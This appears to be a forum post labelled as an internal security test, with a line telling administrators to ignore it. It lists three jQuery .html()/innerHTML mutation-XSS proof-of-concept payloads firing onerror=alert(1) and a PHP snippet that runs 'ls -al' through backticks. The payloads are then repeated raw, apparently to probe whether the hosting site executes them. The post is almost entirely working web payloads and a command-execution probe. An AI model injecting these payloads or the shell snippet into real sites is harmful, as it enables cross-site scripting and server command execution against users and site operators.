Joselai-内部安全测试

这个是用于内部安全测试，管理员可以忽略


PoC 1Assign to innerHTML Append via .html()
<style><style /><img src=x onerror=alert(1)>

1. <style><style /><img src=x onerror=alert(1)>

复制代码

PoC 2 (Only jQuery 3.x affected)Assign to innerHTML Append via .html()
<img alt="<x" title="/><img src=x onerror=alert(1)>">

1. <img alt="<x" title="/><img src=x onerror=alert(1)>">

复制代码

PoC 3Assign to innerHTML Append via .html()
<option><style></option></select><img src=x onerror=alert(1)></style>

1. <option><style></option></select><img src=x onerror=alert(1)></style>

复制代码

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

<style><style /><img src=x onerror=alert(1)>
<img alt="<x" title="/><img src=x onerror=alert(1)>">
<option><style></option></select><img src=x onerror=alert(1)></style>

zip